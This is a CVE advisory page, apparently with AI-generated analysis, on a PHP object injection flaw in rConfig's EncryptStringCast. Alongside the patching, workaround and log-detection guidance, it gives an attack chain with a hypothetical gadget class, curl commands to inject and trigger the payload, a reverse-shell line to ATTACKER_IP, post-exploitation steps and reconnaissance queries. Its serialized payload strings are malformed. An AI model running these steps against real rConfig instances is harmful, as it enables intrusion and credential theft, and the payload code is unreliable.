CVE Professor
/
All CVEs
CVE-2026-135692

CVE-2026-135692 — RConfig Core (8.2.17) — CWE-502

HIGH CVSS 8.8 NVD

rConfig Core 8.0.0 before 8.2.17 and rConfig Pro before 8.4.0 contain a PHP object injection vulnerability in app/Casts/EncryptStringCast.php that unserializes decrypted attributes without class restrictions. Authenticated attackers can store a serialized gadget chain in encrypted fields like device passwords, triggering command execution as the web server user when read via GET /api/devices.

rConfig Core 8.0.0 before 8.2.17 and rConfig Pro before 8.4.0 contain a PHP object injection vulnerability in app/Casts/EncryptStringCast.php that unserializes decrypted attributes without class restrictions. Authenticated attackers can store a serialized gadget chain in encrypted fields like device passwords, triggering command execution as the web server user when read via GET /api/devices.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. Low PR:L
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality High C:H
Integrity High I:H
Availability High A:H
AI Security Analysis & Remediation

🎯 What is this vulnerability?

This vulnerability is a PHP Object Injection flaw (CWE-502) located in the EncryptStringCast.php file within the rConfig application.

Technical Mechanism:
In Laravel-based applications (which rConfig utilizes), "Casts" are used to automatically convert database attributes into specific PHP types or objects when retrieved. The EncryptStringCast is designed to decrypt string attributes (such as device passwords or API keys) stored in the database.

The flaw lies in the decryption and deserialization logic. When the application retrieves an encrypted field (e.g., a device password), it decrypts the string. However, the code subsequently passes this decrypted string to PHP's unserialize() function without validating the class name or using a safe allowed_classes parameter.

Because unserialize() is called on user-controlled data (stored in the database), an attacker who can write to these fields can inject a serialized PHP object chain (gadget chain). When the application later reads this field (triggered by a GET request to /api/devices), PHP attempts to reconstruct the object, executing the __wakeup(), __destruct(), or __toString() magic methods defined in the gadget chain, leading to Remote Code Execution (RCE).

Why it is Critical:

  • Authenticated Access Only: Requires low-level privileges (PR:L).

  • No User Interaction: The victim (web server) executes the code automatically upon data retrieval.

  • High Impact: Full compromise of the web server process (VC:H, VI:H, VA:H).
  • ⚡ Attack Chain

    1. Discovery & Reconnaissance

  • Fingerprinting: Identify the target as running rConfig. Check the footer, login page, or API endpoints for version hints.
  • Version Verification: Confirm the version is rConfig Core < 8.2.17 or rConfig Pro < 8.4.0.
  • Credential Acquisition: Obtain valid low-privilege credentials (e.g., a standard user with permission to view devices or edit device details). This can be achieved via:
  • * Credential stuffing. * Social engineering. * Other vulnerabilities in the same environment.

    2. Exploitation

    The attacker must inject a serialized PHP object into an encrypted field. The most common target is the password field of a device, as it is typically encrypted and retrieved when listing devices.

    Step 2a: Identify a Gadget Chain
    The attacker must find a class in the rConfig/Laravel environment that has a dangerous magic method (e.g., __destruct calling exec(), system(), or shell_exec()). Common Laravel gadgets include:

  • Illuminate\Process\InvokedProcess (if __destruct triggers execution).

  • Custom rConfig classes that handle command execution.

  • Note: The exact gadget chain depends on the specific libraries included in rConfig 8.x. A common pattern in Laravel apps is using Illuminate\Support\LazyCollection or similar if they have unsafe destructors, but typically, RCE gadgets are found in Illuminate\Process or custom application code.*

    Step 2b: Craft the Payload
    Assume a hypothetical gadget chain where EvilClass::__destruct() executes system($this->cmd).

    <?php
    // Hypothetical Gadget Chain Example
    class EvilClass {
        public $cmd;
        public function __destruct() {
            system($this->cmd);
        }
    }
    
    $payload = "s:10:\"EvilClass\";O:9:\"EvilClass\":1:{s:3:\"cmd\";s:12:\"id > /tmp/pwned\";}";
    // Note: In reality, the attacker must serialize a valid object from the application's namespace.
    ?>

    Step 2c: Inject the Payload
    The attacker uses the authenticated API to update a device's password field with the serialized payload. Since the field is encrypted, the application will encrypt the serialized string before storing it in the database.

    Illustrative PoC (curl):
    Note: The exact API endpoint for updating a device password may vary. The following is an illustrative example based on standard RESTful patterns for rConfig.

    # 1. Authenticate and obtain a JWT or Session Cookie
    curl -X POST "https://target-rconfig.example.com/api/login" \
      -H "Content-Type: application/json" \
      -d '{"username": "attacker_user", "password": "AttackerPass123"}' \
      -c cookies.txt
    
    # 2. Update a device's password field with the serialized payload
    # Assume device ID 123 has an encrypted 'password' field
    # The payload is the serialized PHP object string
    PAYLOAD='O:9:"EvilClass":1:{s:3:"cmd";s:12:"id > /tmp/pwned";}'
    
    curl -X PUT "https://target-rconfig.example.com/api/devices/123" \
      -H "Content-Type: application/json" \
      -H "Authorization: Bearer <TOKEN_FROM_LOGIN>" \
      -b cookies.txt \
      -d "{
        \"password\": \"$PAYLOAD\"
      }"

    Step 2d: Trigger Execution
    The attacker triggers the retrieval of the device data. The application decrypts the field, unserializes the payload, and executes the command.

    # Trigger the vulnerability by fetching the device list
    curl -X GET "https://target-rconfig.example.com/api/devices" \
      -H "Authorization: Bearer <TOKEN_FROM_LOGIN>" \
      -b cookies.txt

    3. Post-Exploitation

  • RCE Confirmation: Check for the output of the command (e.g., cat /tmp/pwned if accessible, or use a reverse shell).
  • Reverse Shell: Replace the cmd in the payload with a reverse shell command:
  • s:3:"cmd";s:50:"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1";
  • Privilege Escalation: The web server user (e.g., www-data or apache) is compromised. The attacker can:
  • * Read sensitive configuration files (.env file containing database credentials, API keys). * Pivot to the internal network using the compromised host. * Install a persistent webshell or cron job.

    🌍 Real World Impact

    CVSS 4.0 Vector Analysis:

  • AV:N (Network): Exploitable remotely over the network.

  • AC:L (Low Complexity): No special conditions required; standard API calls suffice.

  • PR:L (Low Privileges): Requires a valid user account with permission to view/edit devices.

  • UI:N (No User Interaction): No victim action needed beyond the application processing the request.

  • VC:H, VI:H, VA:H (High Impact): Full compromise of the web server process.

  • SC:N, SI:N, SA:N (No Scope Change): The impact is limited to the vulnerable component (web server process) and does not directly compromise the underlying OS kernel or other services without further exploitation.
  • Practical Consequences:
    1. Data Breach: The web server user has access to the rConfig database, which contains credentials for all managed devices (routers, switches, firewalls). This allows lateral movement into the entire network infrastructure.
    2. Network Compromise: With access to device credentials, the attacker can reconfigure network devices, create backdoors, or disrupt services.
    3. Ransomware/Extortion: The attacker can encrypt or delete configuration backups, demanding ransom for restoration.
    4. Supply Chain Risk: rConfig is often used to manage critical infrastructure. Compromise of rConfig can lead to compromise of the entire IT environment.

    🛡️ Remediation & Mitigation

    1. Patching (Primary Solution)

  • rConfig Core: Upgrade to version 8.2.17 or later.
  • rConfig Pro: Upgrade to version 8.4.0 or later.
  • Action: Immediately apply the vendor patch. Verify the upgrade by checking the version in the rConfig UI or API.
  • 2. Workarounds (If Patching is Delayed)

  • Restrict API Access: Limit access to the /api/devices endpoint to trusted IP addresses only using firewall rules (e.g., iptables, AWS Security Groups).
  • Disable Device Password Storage: If possible, configure rConfig to not store device passwords in the database (use a secrets manager instead). This removes the vulnerable encrypted field.
  • WAF Rule: Deploy a Web Application Firewall rule to block requests containing serialized PHP object patterns in the password field of device update requests.
  • Note: WAFs are not a complete solution, as the payload is encrypted before storage. However, blocking the initial injection of serialized strings into the API can mitigate the attack.*

    3. Detection (IoCs)

  • Web Server Logs: Look for PUT or PATCH requests to /api/devices/{id} with a password field containing serialized PHP object signatures (e.g., O:, s:, a:).
  • # Example grep for Apache/Nginx access logs
        grep -E "PUT /api/devices/.*password.*O:" access.log
  • Database Logs: Monitor for updates to the devices table where the password column contains long, non-standard strings that do not match typical password patterns.
  • File System: Check for unexpected files in web-accessible directories (e.g., /tmp/pwned, webshells like shell.php).
  • Process Monitoring: Monitor for child processes spawned by the web server user (e.g., www-data) executing shell commands (bash, sh, curl, wget).
  • ⚠️ Urgency

    Priority: CRITICAL

  • CVSS Score: 8.8 (High)
  • Exploitability: Low complexity, requires only low-privilege credentials.
  • Impact: Full RCE and access to sensitive network credentials.
  • CISA KEV: Not currently listed, but the high impact and ease of exploitation make it a prime target for opportunistic attackers.
  • Recommendation: Patch immediately. If patching is not possible within 24-48 hours, isolate the rConfig instance from the network and restrict API access to a single trusted IP.
[🤖 CVE Professor AI Security Engine]
Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

header="X-Powered-By" && header="PHP"
PoC & Exploit Intelligence (GitHub)
Technical reference / advisory repository for CVE-2026-135692
Technical reference / advisory repository for CVE-2026-135692
Technical reference / advisory repository for CVE-2026-135692
CVSS Score
8.8 / 10 · CVSS HIGH
Weakness Types (CWE)
Affected Products (2)
rConfig:rConfig Core (8.2.17) rConfig:rConfig Pro (8.4.0)
Related CVEs
10.0
CVE-2026-130609
Deserialization of untrusted data vulnerability in DİA Yazılım Sanayi ve Ticaret A.Ş. DİA ERP allows Cros
8.7
CVE-2026-132098
Deserialization of untrusted data in the XStream reader used for push publishing bundles (XStreamHandler) in d
8.5
CVE-2026-144447
MassCube before 1.2.23 contains an insecure deserialization vulnerability that allows attackers to execute cod
8.5
CVE-2026-144450
galpy through 1.12.2 contains an insecure deserialization vulnerability that allows attackers to execute code
8.5
CVE-2026-144451
VIP (vip-hci) through 2.1.2 contains an unsafe deserialization vulnerability in Saveable.load that allows atta
7.7
CVE-2026-120765
Deserialization of untrusted data in the Redis cache and pub/sub codecs in dotCMS versions before 26.11.02-01
7.5
CVE-2026-120107
Deserialization of untrusted data in the Apps secrets import (POST /api/v1/apps/import, and the dotAuth import